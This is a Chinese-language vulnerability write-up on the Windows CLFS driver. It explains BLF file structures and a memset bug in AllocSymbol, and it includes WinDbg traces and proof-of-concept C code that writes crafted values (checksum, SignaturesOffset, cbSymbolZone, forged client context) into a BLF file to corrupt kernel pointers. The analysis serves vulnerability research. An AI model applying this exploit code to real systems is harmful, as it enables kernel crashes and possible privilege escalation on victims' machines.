blf日志文件结构

基本日志块存储了基本日志文件关联的客户端和容器上下文信息
基本日志块由6个meta数据块组成,分别是控制块、基本块、截断块以及对应的shadow块,每个块由日志块头开始,大小为0x70 bytes
日志块头定义:
typedef struct _CLFS_LOG_BLOCK_HEADER
{
UCHAR MajorVersion;
UCHAR MinorVersion;
UCHAR Usn;
CLFS_CLIENT_ID ClientId;
USHORT TotalSectorCount;
USHORT ValidSectorCount;
ULONG Padding;
ULONG Checksum;
ULONG Flags;
CLFS_LSN CurrentLsn;
CLFS_LSN NextLsn;
ULONG RecordOffsets[16];
ULONG SignaturesOffset;
} CLFS_LOG_BLOCK_HEADER, *PCLFS_LOG_BLOCK_HEADER;
内存布局

SignatureOffset是了在内存中存储每个扇区签名的数组的偏移。扇区签名位于每个扇区的末尾,大小两个字节,由扇区块类型(1 字节)和 USN(1 字节)组成。每个扇区大小为0x200。
在BLF文件中,基本块从偏移0x800开始,到0x81FF,以日志块头开始,然后是基本记录头
基本记录头定义如下,大小为1338,到偏移1BA8处
typedef struct _CLFS_METADATA_RECORD_HEADER
{
ULONGLONG ullDumpCount;
} CLFS_METADATA_RECORD_HEADER, * PCLFS_METADATA_RECORD_HEADER;
typedef struct _CLFS_BASE_RECORD_HEADER
{
CLFS_METADATA_RECORD_HEADER hdrBaseRecord;
CLFS_LOG_ID cidLog;
ULONGLONG rgClientSymTbl[CLIENT_SYMTBL_SIZE];
ULONGLONG rgContainerSymTbl[CONTAINER_SYMTBL_SIZE];
ULONGLONG rgSecuritySymTbl[SHARED_SECURITY_SYMTBL_SIZE];
ULONG cNextContainer;
CLFS_CLIENT_ID cNextClient;
ULONG cFreeContainers;
ULONG cActiveContainers;
ULONG cbFreeContainers;
ULONG cbBusyContainers;
ULONG rgClients[MAX_CLIENTS_DEFAULT];
ULONG rgContainers[MAX_CONTAINERS_DEFAULT];
ULONG cbSymbolZone;
ULONG cbSector;
USHORT bUnused;
CLFS_LOG_STATE eLogState;
UCHAR cUsn;
UCHAR cClients;
} CLFS_BASE_RECORD_HEADER, * PCLFS_BASE_RECORD_HEADER;
内存布局:

此次漏洞重点字段:
rgContainers
存储了CLFS_CONTAINER_CONTEXT数组相对于基本块的偏移
rgClients
存储了_CLFS_CLIENT_CONTEXT 数组相对于基本块的偏移
cbSymbolZone
表示符号区中下一个可用的空闲偏移量,用于存储新符号。
基本记录中,client context, container context, shared security context由symbols表示,在symbols前面是CLFSHASHSYM结构
typedef struct _CLFS_NODE_ID {
ULONG cType;
ULONG cbNode;
} CLFS_NODE_ID, *PCLFS_NODE_ID;
typedef struct _CLFSHASHSYM
{
CLFS_NODE_ID cidNode;
ULONG ulHash;
ULONG cbHash;
ULONGLONG ulBelow;
ULONGLONG ulAbove;
LONG cbSymName;
LONG cbOffset;
BOOLEAN fDeleted;
} CLFSHASHSYM, *PCLFSHASHSYM;
内存布局

在基本记录中,client context标示一个日志文件的client。client context结构如下
typedef struct _CLFS_NODE_ID {
ULONG cType;
ULONG cbNode;
} CLFS_NODE_ID, *PCLFS_NODE_ID;
typedef struct _CLFS_CLIENT_CONTEXT
{
CLFS_NODE_ID cidNode;
CLFS_CLIENT_ID cidClient;
USHORT fAttributes;
ULONG cbFlushThreshold;
ULONG cShadowSectors;
ULONGLONG cbUndoCommitment;
LARGE_INTEGER llCreateTime;
LARGE_INTEGER llAccessTime;
LARGE_INTEGER llWriteTime;
CLFS_LSN lsnOwnerPage;
CLFS_LSN lsnArchiveTail;
CLFS_LSN lsnBase;
CLFS_LSN lsnLast;
CLFS_LSN lsnRestart;
CLFS_LSN lsnPhysicalBase;
CLFS_LSN lsnUnused1;
CLFS_LSN lsnUnused2;
CLFS_LOG_STATE eState; //+0x78
union
{
HANDLE hSecurityContext;
ULONGLONG ullAlignment;
};
} CLFS_CLIENT_CONTEXT, *PCLFS_CLIENT_CONTEXT;
container context结构和日志文件添加容器有关,container context结构
typedef struct _CLFS_CONTAINER_CONTEXT
{
CLFS_NODE_ID cidNode; //8 bytes
ULONGLONG cbContainer; //8 bytes
CLFS_CONTAINER_ID cidContainer; // 4 bytes
CLFS_CONTAINER_ID cidQueue; // 4 bytes
union
{
CClfsContainer* pContainer; //8 bytes
ULONGLONG ullAlignment;
};
CLFS_USN usnCurrent;
CLFS_CONTAINER_STATE eState;
ULONG cbPrevOffset; //4 bytes
ULONG cbNextOffset; //4 bytes
} CLFS_CONTAINER_CONTEXT, *PCLFS_CONTAINER_CONTEXT;
内存布局

其中pContainer是指向CClfsContainer对象的指针
漏洞点
该处获取通过GetBaseLogRecord函数获取BaseLogRecord,之后的cbSymbolZone,判断cbSymbolZone+v4是否大于SignaturesOffset的,如果判断通过则通过memset将BaseLogRecord+cbSymbolZone内存清零,大小为v4。
__int64 __fastcall CClfsBaseFilePersisted::AllocSymbol(CClfsBaseFilePersisted *this, unsigned int a2, void **a3)
{
__int64 v4; // rbp
CLFS_BASE_RECORD_HEADER *BaseLogRecord; // rax
__int64 v6; // r8 this指针
CLFS_BASE_RECORD_HEADER *v7; // rdi
CLFS_LOG_BLOCK_HEADER *v8; // rcx
__int64 cbSymbolZone; // r8
char *v10; // rbx
__int64 result; // rax
v4 = a2;
BaseLogRecord = (CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
v7 = BaseLogRecord;
if ( !BaseLogRecord )
return 3222929421i64;
v8 = *(CLFS_LOG_BLOCK_HEADER **)(*(_QWORD *)(v6 + 48) + 48i64);
*a3 = 0i64;
cbSymbolZone = BaseLogRecord->cbSymbolZone;
if ( (char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8+ v8->SignaturesOffset) )
return 3221225507i64;
// ffff970a`4995b000 15 00 03 00 3d 00 3d 00-00 00 00 00 00 00 00 00 ....=.=.........
// ffff970a`4995b010 02 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
// ffff970a`4995b020 00 00 00 00 ff ff ff ff-70 00 00 00 00 00 00 00 ........p.......
// ffff970a`4995b030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
// ffff970a`4995b040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
// ffff970a`4995b050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
// ffff970a`4995b060 00 00 00 00 00 00 00 00-80 79 00 00 00 00 00 00 .........y......
// ffff970a`4995b070 05 00 00 00 00 00 00 00-aa fb b6 33 fa f9 ed 11 ...........3....
v10 = (char *)&BaseLogRecord[1] + cbSymbolZone;
memset(v10, 0, (unsigned int)v4);
v7->cbSymbolZone += v4;
result = 0i64;
*a3 = v10;
return result;
}
略
基于该漏洞点有两种利用方式,第一种将cbSymbolZone修改为自身的CLFS_CONTAINER_CONTEXT->pContainer结构偏移,由于CLFS_CONTAINER_CONTEXT内存有Container context对象指针。使用memset清空该指针,当解引用该指针将触发异常,导致蓝屏。
第二种将cbSymbolZone 修改为下个BLF文件的CLFS_CONTAINER_CONTEXT->pContainer结构偏移,利用漏洞将该指针清零,解引用第二个BLF文件的CLFS_CONTAINER_CONTEXT->pContainer 将导致蓝屏,这种方式利用需要绕过(char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8+ v8->SignaturesOffset)
第一种利用方式
在调试中发现CLFS_CONTAINER_CONTEXT结构距离CLFS_BASE_RECORD_HEADER结束为0x128,pContainer指针距离CLFS_BASE_RECORD_HEADER为0x130,此处要清空高四位(内核解引用指针会校验指针是否为NULL,所以不能把所有的位都清零),则应设为144。
1: kd> dq ffff970a4995c4d0
ffff970a`4995c4d0 00000030`c1fdf008 00000000`00080000
ffff970a`4995c4e0 00000000`00000000 00000000`45f7cd40
ffff970a`4995c4f0 00000000`00000000 00000000`00000000
ffff970a`4995c500 00000000`00000000 00000000`00000000
ffff970a`4995c510 00000000`00000000 00000000`00000000
ffff970a`4995c520 00000000`00000000 00000000`00000000
ffff970a`4995c530 00000000`00000000 00000000`00000000
ffff970a`4995c540 00000000`00000000 00000000`00000000
1: kd> rr8
r8=000000000000000c
1: kd> rrdi
rdi=ffff970a4995b070
1: kd> ?ffff970a`4995c4d0-ffff970a4995b070
Evaluate expression: 5216 = 00000000`00001460
1: kd> ?00000000`00001460-0x1338
Evaluate expression: 296 = 00000000`00000128
在clfs!CClfsBaseFilePersisted::AllocSymbol下断点,运行PoC
bp clfs!CClfsBaseFilePersisted::AllocSymbol
CLFS!CClfsBaseFilePersisted::AllocSymbol通过调用CLFS!CClfsBaseFile::GetBaseLogRecord获取到了基本记录头,可以看到_CLFS_BASE_RECORD_HEADER→cbSymbolZone已被设为144
1: kd> db rax
ffffbd84`4f383070 05 00 00 00 00 00 00 00-a1 a9 21 b4 31 0f ee 11 ..........!.1...
ffffbd84`4f383080 bc 69 00 0c 29 07 fc 32-00 00 00 00 00 00 00 00 .i..)..2........
ffffbd84`4f383090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbd84`4f3830a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbd84`4f3830b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbd84`4f3830c0 00 00 00 00 00 00 00 00-38 13 00 00 00 00 00 00 ........8.......
ffffbd84`4f3830d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbd84`4f3830e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
1: kd> db rax + 0x1328
ffffbd84`4f384398 44 01 00 00 00 00 00 00-00 00 03 01 01 00 00 00 D...............
ffffbd84`4f3843a8 06 f0 fd c1 30 00 00 00-16 00 d2 02 b8 00 00 00 ....0...........
ffffbd84`4f3843b8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbd84`4f3843c8 f0 13 00 00 68 13 00 00-00 00 00 00 00 00 00 00 ....h...........
ffffbd84`4f3843d8 07 f0 fd c1 88 00 00 00-00 00 00 01 40 9c 00 00 ............@...
ffffbd84`4f3843e8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbd84`4f3843f8 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffbd84`4f384408 00 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
而后对BaseLogRecord+0x1338+cbSymbolZone处大小为v4的内存调用memset清零
v4 = a2;
BaseLogRecord = (CLFS_BASE_RECORD_HEADER *)CClfsBaseFile::GetBaseLogRecord(this);
v7 = BaseLogRecord;
if ( !BaseLogRecord )
return 3222929421i64;
v8 = *(CLFS_LOG_BLOCK_HEADER **)(*(_QWORD *)(v6 + 48) + 48i64);
*a3 = 0i64;
cbSymbolZone = BaseLogRecord->cbSymbolZone;
if ( (char *)&BaseLogRecord[1] + cbSymbolZone + v4 > (char *)(&v8->MajorVersion + v8->SignaturesOffset) )
return 3221225507i64;
v10 = (char *)&BaseLogRecord[1] + cbSymbolZone;
memset(v10, 0, (unsigned int)v4);
在调试器中可以看到rcx指向了CLFS_CONTAINER_CONTEXT->pContainer 的高四位。
1: kd> dd rcx - 0x1c
ffffbd84`4f3844d0 c1fdf008 00000030 00080000 00000000
ffffbd84`4f3844e0 00000000 00000000 4bd8b7c0 ffffbd84
ffffbd84`4f3844f0 00000001 00000002 00000000 00000000
ffffbd84`4f384500 003f005c 005c003f 003a0043 0055005c
ffffbd84`4f384510 00650073 00730072 0050005c 00620075
ffffbd84`4f384520 0069006c 005c0063 0063002e 006e006f
ffffbd84`4f384530 00610074 006e0069 00720065 0031005f
ffffbd84`4f384540 00310034 00000000 00000000 00000000
1: kd> u
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x67:
fffff801`270d0207 e874c8fcff call CLFS!memset (fffff801`2709ca80)
fffff801`270d020c 01af28130000 add dword ptr [rdi+1328h],ebp
fffff801`270d0212 33c0 xor eax,eax
fffff801`270d0214 48891e mov qword ptr [rsi],rbx
fffff801`270d0217 488b5c2430 mov rbx,qword ptr [rsp+30h]
fffff801`270d021c 488b6c2438 mov rbp,qword ptr [rsp+38h]
fffff801`270d0221 488b742440 mov rsi,qword ptr [rsp+40h]
fffff801`270d0226 4883c420 add rsp,20h
继续运行,memset已经将该指针的高四位清零
1: kd> p
CLFS!CClfsBaseFilePersisted::AllocSymbol+0x6c:
fffff801`270d020c 01af28130000 add dword ptr [rdi+1328h],ebp
1: kd> dd ffffbd84`4f3844d0
ffffbd84`4f3844d0 c1fdf008 00000030 00080000 00000000
ffffbd84`4f3844e0 00000000 00000000 4bd8b7c0 00000000
ffffbd84`4f3844f0 00000000 00000000 00000000 00000000
ffffbd84`4f384500 00000000 00000000 00000000 00000000
ffffbd84`4f384510 00000000 00000000 00000000 00000000
ffffbd84`4f384520 00000000 00000000 00000000 00000000
ffffbd84`4f384530 00000000 00000000 00000000 00000000
ffffbd84`4f384540 00000000 00000000 00000000 00000000
继续运行则触发异常
1: kd> k
# Child-SP RetAddr Call Site
00 ffffb807`d4c5f6d8 fffff801`28112c22 nt!DbgBreakPointWithStatus
01 ffffb807`d4c5f6e0 fffff801`28112206 nt!KiBugCheckDebugBreak+0x12
02 ffffb807`d4c5f740 fffff801`27ff89c7 nt!KeBugCheck2+0x946
03 ffffb807`d4c5fe50 fffff801`2800a869 nt!KeBugCheckEx+0x107
04 ffffb807`d4c5fe90 fffff801`28009cbc nt!KiBugCheckDispatch+0x69
05 ffffb807`d4c5ffd0 fffff801`280017af nt!KiSystemServiceHandler+0x7c
06 ffffb807`d4c60010 fffff801`27ee2467 nt!RtlpExecuteHandlerForException+0xf
07 ffffb807`d4c60040 fffff801`27ee1066 nt!RtlDispatchException+0x297
08 ffffb807`d4c60760 fffff801`2800a9ac nt!KiDispatchException+0x186
09 ffffb807`d4c60e20 fffff801`28006b43 nt!KiExceptionDispatch+0x12c
0a ffffb807`d4c61000 fffff801`270cb2d5 nt!KiPageFault+0x443
0b ffffb807`d4c61190 fffff801`27098655 CLFS!CClfsContainer::Close+0xd
0c ffffb807`d4c611c0 fffff801`270987b6 CLFS!CClfsLogFcbPhysical::CloseContainers+0x69
0d ffffb807`d4c611f0 fffff801`27098761 CLFS!CClfsLogFcbPhysical::Finalize+0x42
0e ffffb807`d4c61220 fffff801`270bdf42 CLFS!CClfsLogFcbPhysical::Release+0xb1
0f ffffb807`d4c61280 fffff801`270c0878 CLFS!CClfsRequest::Close+0xd6
10 ffffb807`d4c612d0 fffff801`270c0747 CLFS!ClfsDispatchIoRequest+0x108
11 ffffb807`d4c61320 fffff801`27eabac5 CLFS!CClfsDriver::LogIoDispatch+0x27
12 ffffb807`d4c61350 fffff801`281f088f nt!IofCallDriver+0x55
13 ffffb807`d4c61390 fffff801`28219af0 nt!IopDeleteFile+0x14f
14 ffffb807`d4c61410 fffff801`27eae1a7 nt!ObpRemoveObjectRoutine+0x80
15 ffffb807`d4c61470 fffff801`28222449 nt!ObfDereferenceObjectWithTag+0xc7
16 ffffb807`d4c614b0 fffff801`282e3745 nt!ObCloseHandleTableEntry+0x6c9
17 ffffb807`d4c615f0 fffff801`2828fadd nt!ExSweepHandleTable+0xd5
18 ffffb807`d4c616a0 fffff801`282b6d98 nt!ObKillProcess+0x35
19 ffffb807`d4c616d0 fffff801`282760f6 nt!PspRundownSingleProcess+0x204
1a ffffb807`d4c61760 fffff801`282777f8 nt!PspExitThread+0x5f6
1b ffffb807`d4c61860 fffff801`27eb4d77 nt!KiSchedulerApcTerminate+0x38
1c ffffb807`d4c618a0 fffff801`27ffce90 nt!KiDeliverApc+0x487
1d ffffb807`d4c61950 fffff801`2800a35f nt!KiInitiateUserApc+0x70
1e ffffb807`d4c61a90 00007ffd`40c90994 nt!KiSystemServiceExit+0x9f
1f 0000005f`4e1ffa88 00007ffd`40c42dc7 ntdll!NtWaitForWorkViaWorkerFactory+0x14
20 0000005f`4e1ffa90 00007ffd`40497034 ntdll!TppWorkerThread+0x2f7
21 0000005f`4e1ffd90 00000000`00000000 0x00007ffd`40497034
到CClfsLogFcbPhysical::CloseContainers查看伪代码可知,通过CClfsBaseFile::AcquireContainerContext函数获取到container context并存在v7变量中,而后将v7→pContainer指针取出,如果该指针不为零则将其传入CClfsContainer::Close
__int64 __fastcall CClfsLogFcbPhysical::CloseContainers(CClfsLogFcbPhysical *this)
{
int v1; // esi
unsigned int v2; // edi
struct _CLFS_CONTAINER_CONTEXT *v4; // rbp
CClfsContainer *v5; // rcx
struct _CLFS_CONTAINER_CONTEXT *v7; // [rsp+30h] [rbp+8h] BYREF
v7 = 0i64;
v1 = 0;
v2 = *((_DWORD *)this + 341);
if ( v2 >= *((_DWORD *)this + 340) )
return (unsigned int)v1;
while ( 1 )
{
v1 = CClfsBaseFile::AcquireContainerContext(
*((CClfsBaseFile **)this + 85),
*((_DWORD *)this + (v2 & 0x3FF) + 342),
&v7);
if ( v1 < 0 )
break;
v4 = v7;
if ( !v7 )
break;
v5 = (CClfsContainer *)*((_QWORD *)v7 + 3);
if ( v5 )
{
CClfsContainer::Close(v5);
(*(void (__fastcall **)(_QWORD))(**((_QWORD **)v4 + 3) + 8i64))(*((_QWORD *)v4 + 3));
*((_QWORD *)v4 + 3) = 0i64;
}
CClfsBaseFile::ReleaseContainerContext(*((CClfsBaseFile **)this + 85), &v7);
if ( ++v2 >= *((_DWORD *)this + 340) )
return (unsigned int)v1;
}
return 3222929421i64;
}
由于前面将这个指针的高四位清零,所以传入CClfsContainer::Close函数的指针为0x03
1: kd> rrcx
rcx=0000000000000003
1: kd> u
CLFS!CClfsLogFcbPhysical::CloseContainers+0x69:
fffff801`27098655 488b4d18 mov rcx,qword ptr [rbp+18h]
fffff801`27098659 488b01 mov rax,qword ptr [rcx]
fffff801`2709865c 488b4008 mov rax,qword ptr [rax+8]
fffff801`27098660 ff156abf0100 call qword ptr [CLFS!_guard_dispatch_icall_fptr (fffff801`270b45d0)]
fffff801`27098666 4883651800 and qword ptr [rbp+18h],0
fffff801`2709866b 488b8ba8020000 mov rcx,qword ptr [rbx+2A8h]
fffff801`27098672 488d542430 lea rdx,[rsp+30h]
fffff801`27098677 e8cc9d0200 call CLFS!CClfsBaseFile::ReleaseContainerContext (fffff801`270c2448)
在CClfsContainer::Close函数内对该指针解引用,导致异常
CLFS!CClfsContainer::Close:
fffff801`270cb2c8 48895c2408 mov qword ptr [rsp+8], rbx
fffff801`270cb2cd 57 push rdi
fffff801`270cb2ce 4883ec20 sub rsp, 20h
fffff801`270cb2d2 488bd9 mov rbx, rcx
fffff801`270cb2d5 488b4920 mov rcx, qword ptr [rcx+20h]
第二种方式
第二种方式是修改cbSymbolZone 为超大的值,使得BaseLogRecord+0x1338+cbSymbolZone 能够到达下一个BaseLogRecord的container context,并利用memset将container_context→pContainer指针的高四位清零。
在CLFS!CClfsBaseFilePersisted::ReadMetadataBlock断点
bp CLFS!CClfsBaseFilePersisted::ReadMetadataBlock
运行PoC,在ReadMetadataBlock断下
1: kd> rrdx
rdx=0000000000007a00
1: kd> k
# Child-SP RetAddr Call Site
00 fffff389`53916f50 fffff806`62d9a395 CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0xaa
01 fffff389`53916ff0 fffff806`62d9a204 CLFS!CClfsBaseFile::AcquireMetadataBlock+0x45
02 fffff389`53917020 fffff806`62d99c36 CLFS!CClfsBaseFilePersisted::ReadImage+0x1e8
03 fffff389`53917080 fffff806`62d62da2 CLFS!CClfsBaseFilePersisted::OpenImage+0x2fa
04 fffff389`53917100 fffff806`62d8eaeb CLFS!CClfsLogFcbPhysical::Initialize+0x326
05 fffff389`53917240 fffff806`62d90a2b CLFS!CClfsRequest::Create+0x4ef
06 fffff389`53917390 fffff806`62d907f7 CLFS!CClfsRequest::Dispatch+0x97
07 fffff389`539173e0 fffff806`62d90747 CLFS!ClfsDispatchIoRequest+0x87
08 fffff389`53917430 fffff806`668abac5 CLFS!CClfsDriver::LogIoDispatch+0x27
09 fffff389`53917460 fffff806`668629a4 nt!IofCallDriver+0x55
0a fffff389`539174a0 fffff806`66bf1dfd nt!IoCallDriverWithTracing+0x34
0b fffff389`539174f0 fffff806`66c20cbe nt!IopParseDevice+0x117d
0c fffff389`53917660 fffff806`66c01d3a nt!ObpLookupObjectName+0x3fe
0d fffff389`53917830 fffff806`66c88f0f nt!ObOpenObjectByNameEx+0x1fa
0e fffff389`53917960 fffff806`66c88ae9 nt!IopCreateFile+0x40f
0f fffff389`53917a00 fffff806`66a0a2b5 nt!NtCreateFile+0x79
10 fffff389`53917a90 00007ffa`91b0d9e4 nt!KiSystemServiceCopyEnd+0x25
11 00000058`ec6fe888 00007ffa`8bc92199 ntdll!NtCreateFile+0x14
12 00000058`ec6fe890 00000000`00000000 0x00007ffa`8bc92199
1: kd> u
CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0xaa:
fffff806`62d940ba e8a1e02104 call nt!ExAllocatePoolWithTag (fffff806`66fb2160)
fffff806`62d940bf 488bf0 mov rsi,rax
fffff806`62d940c2 4889442438 mov qword ptr [rsp+38h],rax
fffff806`62d940c7 4885c0 test rax,rax
ReadMetadataBlock调用nt!ExAllocatePoolWithTag分配内核堆存储基本记录,调试器中可以看到内存分配在ffffab0523ecf000
1: kd> p
CLFS!CClfsBaseFilePersisted::ReadMetadataBlock+0xaf:
fffff806`62d940bf 488bf0 mov rsi,rax
1: kd> rrax
rax=ffffab0523ecf000
在下面两个地方下断点
ba w8 ffffab0523ecf000+0x68
ba w8 ffffab0523ecf000+0x200*0xE-0x8
这两个地方分别是LogBlockHeader→SignatureOffset和第十四个扇区签名的位置(0xc*0x200 + 0x1fe)
继续运行,在第二个断点断下,调用栈:
1: kd> k
# Child-SP RetAddr Call Site
00 fffff389`539170c0 fffff806`62d63672 CLFS!CClfsLogFcbPhysical::ResetLog+0x100
01 fffff389`53917100 fffff806`62d8eaeb CLFS!CClfsLogFcbPhysical::Initialize+0xbf6
02 fffff389`53917240 fffff806`62d90a2b CLFS!CClfsRequest::Create+0x4ef
03 fffff389`53917390 fffff806`62d907f7 CLFS!CClfsRequest::Dispatch+0x97
04 fffff389`539173e0 fffff806`62d90747 CLFS!ClfsDispatchIoRequest+0x87
05 fffff389`53917430 fffff806`668abac5 CLFS!CClfsDriver::LogIoDispatch+0x27
06 fffff389`53917460 fffff806`668629a4 nt!IofCallDriver+0x55
07 fffff389`539174a0 fffff806`66bf1dfd nt!IoCallDriverWithTracing+0x34
08 fffff389`539174f0 fffff806`66c20cbe nt!IopParseDevice+0x117d
09 fffff389`53917660 fffff806`66c01d3a nt!ObpLookupObjectName+0x3fe
0a fffff389`53917830 fffff806`66c88f0f nt!ObOpenObjectByNameEx+0x1fa
0b fffff389`53917960 fffff806`66c88ae9 nt!IopCreateFile+0x40f
0c fffff389`53917a00 fffff806`66a0a2b5 nt!NtCreateFile+0x79
0d fffff389`53917a90 00007ffa`91b0d9e4 nt!KiSystemServiceCopyEnd+0x25
0e 00000058`ec6fe888 00007ffa`8bc92199 ntdll!NtCreateFile+0x14
0f 00000058`ec6fe890 00000000`00000000 0x00007ffa`8bc92199
1: kd> ub
CLFS!CClfsLogFcbPhysical::ResetLog+0xd7:
fffff806`62d7151b 48894140 mov qword ptr [rcx+40h],rax
fffff806`62d7151f 488b83d8010000 mov rax,qword ptr [rbx+1D8h]
fffff806`62d71526 48894148 mov qword ptr [rcx+48h],rax
fffff806`62d7152a 488b83e8010000 mov rax,qword ptr [rbx+1E8h]
fffff806`62d71531 48894150 mov qword ptr [rcx+50h],rax
fffff806`62d71535 488b83f0010000 mov rax,qword ptr [rbx+1F0h]
**fffff806`62d7153c 48894158 mov qword ptr [rcx+58h],rax**
fffff806`62d71540 806178df and byte ptr [rcx+78h],0DFh
1: kd> rrcx
rcx=ffffab0523ed0ba0
继续运行,rcx+0x58的位置已经被0xFFFFFFFF00000000覆盖了,而rcx+0x5e = ffffab0523ecf000 + 0xd * 0x200 + 0x1FE,也就是rcx+0x5e位于第十四扇区签名处,此时这个签名已经被0xFFFF覆盖了。
1: kd> db rcx
ffffab05`23ed0ba0 07 f0 fd c1 88 00 00 00-00 00 00 01 00 00 00 00 ................
ffffab05`23ed0bb0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ed0bc0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ed0bd0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ed0be0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ed0bf0 00 00 00 00 00 00 00 00-00 00 00 00 ff ff ff ff ................
ffffab05`23ed0c00 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
ffffab05`23ed0c10 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
对应伪代码如下
__int64 __fastcall CClfsLogFcbPhysical::ResetLog(CClfsLogFcbPhysical *this)
{
struct _CLFS_CLIENT_CONTEXT *v2; // rcx
.
*((CLFS_LSN *)this + 62) = CLFS_LSN_INVALID; // FF FF FF FF 00 00 00 00
.....
v2->lsnRestart.Internal = *((_QWORD *)this + 62);// 58h的偏移
v2->eState &= ~0x20u;
CClfsBaseFile::ReleaseClientContext(*((CClfsBaseFile **)this + 85), &v7);
CClfsBaseFilePersisted::ResetContainerQ(
*((CClfsBaseFilePersisted **)this + 85),
(unsigned int *const)this + 342,
v4,
(unsigned int *)this + 340,
(unsigned int *)this + 341);
v5 = CClfsBaseFilePersisted::IncrementUsn(*((CClfsBaseFilePersisted **)this + 85));
v6 = (CClfsBaseFilePersisted *)*((_QWORD *)this + 85);
*((_BYTE *)this + 657) = v5;
*((_BYTE *)this + 657) = CClfsBaseFilePersisted::IncrementUsn(v6);
return 0i64;
}
现在有三个问题:
CLIENT_CONTEXT→lsnRestart.Internal会和第十四个扇区签名重叠ResetLog函数导致重叠区域被重置为0xFFFF回到PoC中,首先将BLF文件内偏移0x9A8,这是CLFS_BASE_RECORD_HEADER→rgClients ,该处伪造了假的client context偏移0x1b30
![]()
char checkSum[] = { 0x00, 0x00, 0x00, 0x00 }; // {0x59, 0xdf, 0x44, 0x06}; // offset 0x80c
char signaturOffset[] = { 0x50, 0x00, 0x00, 0x00 }; // offset 0x868
char ccoffsetArray[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x9a8
char cbsymbolZone[] = { 0x4b, 0x11, 0x01, 0x00 }; // offset 0x1b98
char blockNameoffset[] = { 0xb8, 0x1b, 0x00, 0x00 }; // offset 0x2390
char blockAtributeoffset[] = { 0x30, 0x1b, 0x00, 0x00 }; // offset 0x2394
_wfopen_s(&pFile, stored_env_open, L"r+");
if (pFile == 0) {
printf("Cant't open file, error %x\n", GetLastError());
// getchar();
exit(1);
}
printf("[+] file successfully opened\n");
// 校验和
fseek(pFile, 0x80c, SEEK_SET);
fwrite(checkSum, sizeof(char), sizeof(checkSum), pFile);
// Signature 值
fseek(pFile, 0x868, SEEK_SET);
fwrite(signaturOffset, sizeof(char), sizeof(signaturOffset), pFile);
// client context的偏移
fseek(pFile, 0x9a8, SEEK_SET);
fwrite(ccoffsetArray, sizeof(char), sizeof(ccoffsetArray), pFile);
// cbsymbolZone偏移,写入恶意的cbsymbolZone
fseek(pFile, 0x1b98, SEEK_SET);
fwrite(cbsymbolZone, sizeof(char), sizeof(cbsymbolZone), pFile);
fseek(pFile, 0x2390, SEEK_SET);
fwrite(blockNameoffset, sizeof(char), sizeof(blockNameoffset), pFile);
fseek(pFile, 0x2394, SEEK_SET);
fwrite(blockAtributeoffset, sizeof(char), sizeof(blockAtributeoffset), pFile);
而后在偏移0x23a0(0x1b30+0x870)处伪造假的client context,伪造的假client context需要有正确的client context头,将原client context复制过去即可。此时client context→lsnRestart.Internal = 0x23a0 + 0x58 = 23f8,位于基本记录的0x1bf8处,第14个扇区的扇区签名位于0xd * 0x200 + 0x1fe=1BFE ,client context→lsnRestart.Internal 大小八个字节,刚好高二位能够覆盖到扇区签名。
char fakeClientcontext[] = { 0x07, 0xf0, 0xfd, 0xc1, 0x88 }; // offset 0x23a0
char fakeClientcontext2[] = { 0x01, 0x00, 0x00, 0x00 }; // offset 0x23ab
char fakeClientcontext3[] = { 0x20, 0x00, 0x00, 0x00 }; // offset 0x2418
// Client context,伪造假的Client context头
fseek(pFile, 0x23a0, SEEK_SET);
fwrite(fakeClientcontext, sizeof(char), sizeof(fakeClientcontext), pFile);
// Client context,伪造假的Client context头
fseek(pFile, 0x23ab, SEEK_SET);
fwrite(fakeClientcontext2, sizeof(char), sizeof(fakeClientcontext2), pFile);
// Client context,伪造假的值,使得程序进入ResetLog
fseek(pFile, 0x2418, SEEK_SET);
fwrite(fakeClientcontext3, sizeof(char), sizeof(fakeClientcontext3), pFile);
而ResetLog中要覆盖八个字节,刚好将第十四个扇区签名覆盖为0xFFFF
v2->lsnRestart.Internal = *((_QWORD *)this + 62);// 58h的偏移
__int64 __fastcall CClfsLogFcbPhysical::Initialize(
ULONG_PTR a1,
__int64 a2,
__int64 a3,
int a4,
ULONG DesiredShareAccess,
__int64 a6,
char a7,
__int64 a8,
PFILE_OBJECT FileObject,
unsigned __int8 a10)
{
.....
CClfsBaseFile::AddRef(v25);
EventObject = CClfsBaseFilePersisted::OpenImage(// 打开现有日志文件会调用这里、
*(CClfsBaseFilePersisted **)(a1 + 680),
&Destination,
(const struct _CLFS_FILTER_CONTEXT *)&v88,
a10,
(unsigned __int8 *)&v94);
.....
}
CClfsBaseFile::AcquireClientContext(*(PERESOURCE **)(a1 + 680), 0, &v77);// 获取客户端上下文
if ( (v77->eState & 0x20) == 0 || (*(unsigned __int8 (__fastcall **)(ULONG_PTR))(*(_QWORD *)a1 + 312i64))(a1) )
{
......
}
else
